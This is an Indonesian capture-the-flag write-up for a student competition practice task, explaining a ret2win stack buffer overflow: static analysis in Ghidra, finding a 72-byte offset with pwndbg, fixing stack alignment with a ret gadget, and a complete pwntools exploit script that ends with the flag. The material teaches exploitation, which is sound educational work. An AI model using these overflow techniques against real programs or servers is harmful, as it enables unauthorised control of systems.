

Write-Up CTF: Buffer Overflow (Ret2Win)

Latihan LKS - Binary Exploitation

17 April 2026

1 Pendahuluan

Tantangan eksploitasi *binary* ini merupakan kategori **Buffer Overflow** klasik bertipe *Return to Win* (Ret2Win). Dari analisis metadata *binary* menggunakan `checksec` atau hasil kompilasi, diketahui bahwa *binary* dikompilasi dengan flag `-fno-stack-protector`, yang berarti proteksi *Stack Canary* dimatikan. Hal ini memungkinkan kita untuk melakukan serangan *buffer overflow* tanpa hambatan.

Tujuan utama dari eksploitasi ini adalah memanipulasi alur eksekusi program (*control flow*) agar program memanggil sebuah fungsi tersembunyi yang akan mengeksekusi perintah `system("cat .internal/flag.txt")`.

2 Langkah 1: Analisis Statis (Mencari Target)

Apa yang kita cari? Kita mencari letak kerentanan (*vulnerability*) pada fungsi utama dan mencari alamat memori dari fungsi yang memberikan kita bendera (*flag*).

Mengapa ini penting? Tanpa mengetahui letak kerentanan, kita tidak tahu di mana harus memasukkan *payload*. Tanpa alamat fungsi target, kita tidak tahu ke mana harus mengarahkan program setelah berhasil dibajak.

Berdasarkan analisis menggunakan *decompiler* Ghidra, kita dapat melihat representasi C dari kode program:

(masukkan gambar screenshot fungsi main dari Ghidra di sini)

(masukkan gambar screenshot fungsi win dari Ghidra di sini)

Dari analisis kode, kita mendapati temuan berikut:

- Terdapat fungsi bernama `win()` yang akan mencetak flag. Ini adalah fungsi target kita.
- Kerentanan terletak pada fungsi `main()`. Variabel `buf` hanya dialokasikan sebesar 64 byte, namun fungsi `read(0, buf, 256)` mengizinkan input pengguna hingga 256 byte. Ini adalah celah *Buffer Overflow* yang sangat jelas.

3 Langkah 2: Analisis Dinamis (Mencari Offset)

Apa yang kita cari? Kita mencari nilai *offset*, yaitu jumlah pasti karakter (*junk/padding*) yang dibutuhkan untuk mengisi *buffer* sampai tepat sebelum menempa *Instruction Pointer* (RIP).

Mengapa ini penting? Pada arsitektur x86_64, register RIP mengontrol instruksi apa yang akan dijalankan CPU selanjutnya. Saat fungsi selesai dieksekusi (melalui instruksi *ret*), program akan mengambil alamat kembalian (*Return Address*) dari *stack* dan memasukkannya ke RIP. Dengan menemukan *offset* yang tepat, kita bisa menempa *Return Address* ini dengan alamat fungsi *win()*.

Menggunakan alat **pwndbg** (GDB), kita men-generate pola unik dengan *cyclic 100* dan mengirimkannya sebagai input:

```
1 pwndbg> cyclic 100
2 aaaaaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaae...[dipotong]...kaaaaaaalaaaaaaaaamaaa
3
4 pwndbg> run
5 name:
6 aaaaaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaae...[dipotong]...kaaaaaaalaaaaaaaaamaaa
```

Listing 1: Mencari Offset dengan pwndbg

Program akan *crash* (Segmentation Fault) karena RIP menunjuk ke alamat yang tidak valid (diisi dengan pola kita). Dari *crash dump* GDB, kita melihat bagian *stack*:

```
1 RBP 0x6161616161616169 ('iaaaaaaa')
2 RSP 0x7fffffffef4c8 'jaaaaaaaaaaaaaaaaalaaaaaaaaamaaa\n'
```

Listing 2: Kondisi Stack saat Crash

Register RSP (letak *Return Address* ditarik) berisi *jaaaaaaa*. Kita dapat menghitung *offset*-nya:

```
1 $ cyclic -l jaaaaaaa
2 72
```

Kesimpulan Offset: Kita membutuhkan 72 byte karakter acak. Secara arsitektur, ini masuk akal: 64 byte untuk memenuhi *buf* + 8 byte untuk menempa *Saved RBP* = 72 byte sebelum menempa RIP.

4 Langkah 3: Menangani Stack Alignment (MOVAPS Issue)

Mengapa kita butuh langkah ini? Pada sistem operasi Linux modern (terutama Ubuntu versi baru, Arch Linux, dan distro yang menggunakan *glibc* versi tinggi), standar ABI x86_64 sangat ketat.

Sebelum sebuah fungsi eksternal dari library C (seperti *system()* di dalam fungsi *win*) dipanggil, nilai ujung memori *stack* (RSP) harus merupakan kelipatan 16-byte (sejajar / *aligned*). Instruksi *MOVAPS* yang ada di dalam *system()* akan memicu *Segmentation Fault* apabila syarat ini tidak terpenuhi, meskipun eksploitasi kita sudah benar.

Solusi: Kita menyisipkan satu instruksi *ret* (Return) ke dalam ROP Chain (*Return Oriented Programming*). Instruksi *ret* pada dasarnya melakukan *pop rip*, yang berarti ia akan "menarik" 8 byte dari *stack*. Tindakan ini akan menggeser *stack* sebesar 8 byte, sehingga posisi *stack* yang awalnya "ganjil" menjadi "genap" (kelipatan 16) kembali.

5 Langkah 4: Skrip Eksploitasi (pwntools)

Berikut adalah skrip penyelesaian lengkap dalam bahasa Python menggunakan library *pwntools*. Skrip ini secara otomatis akan mengekstrak alamat *win* dan instruksi *ret* langsung dari *binary*.

```

1 from pwn import *
2
3 # 1. Setup target binary
4 exe = './chall'
5 elf = context.binary = ELF(exe)
6
7 # Jalankan proses (Ganti dengan remote('IP', PORT) jika menyerang server)
8 p = process(exe)
9
10 # 2. Tentukan Offset
11 # Berdasarkan perhitungan cyclic: 64 (buffer) + 8 (RBP) = 72
12 offset = 72
13
14 # 3. Dapatkan alamat fungsi target secara dinamis
15 win_addr = elf.symbols['win']
16 log.info(f"Alamat fungsi win: {hex(win_addr)}")
17
18 # 4. Cari 'ret' gadget untuk bypass stack alignment (MOVAPS)
19 rop = ROP(elf)
20 ret_gadget = rop.find_gadget(['ret'])[0]
21 log.info(f"Alamat ret gadget: {hex(ret_gadget)}")
22
23 # 5. Susun Payload Eksploitasi
24 # Struktur Payload: [Junk] + [ret gadget] + [alamat target]
25 payload = b"A" * offset
26 payload += p64(ret_gadget)
27 payload += p64(win_addr)
28
29 # 6. Kirim Payload ke Program
30 p.recvuntil(b"name:\n")
31 p.sendline(payload)
32
33 # 7. Berpindah ke mode interaktif untuk menikmati shell/flag
34 p.interactive()

```

Listing 3: Skrip solve.py

6 Kesimpulan

Dengan mengirimkan *payload* sepanjang 72 byte *junk*, ditambah alamat instruksi `ret` untuk memastikan keselarasan *stack*, dan diakhiri dengan alamat fungsi `win()`, kita berhasil membajak alur eksekusi program. Saat fungsi `main()` melakukan `return`, ia tidak kembali ke pemanggil aslinya, melainkan melompat mengeksekusi instruksi `ret` kosong, lalu melompat ke fungsi `win()` yang langsung mencetak isi dari file `flag`.

Hasil eksekusi dari eksploitasi yang sukses akan memberikan kita flag berikut:

LKS2026{buf_overflow_54d19abce0}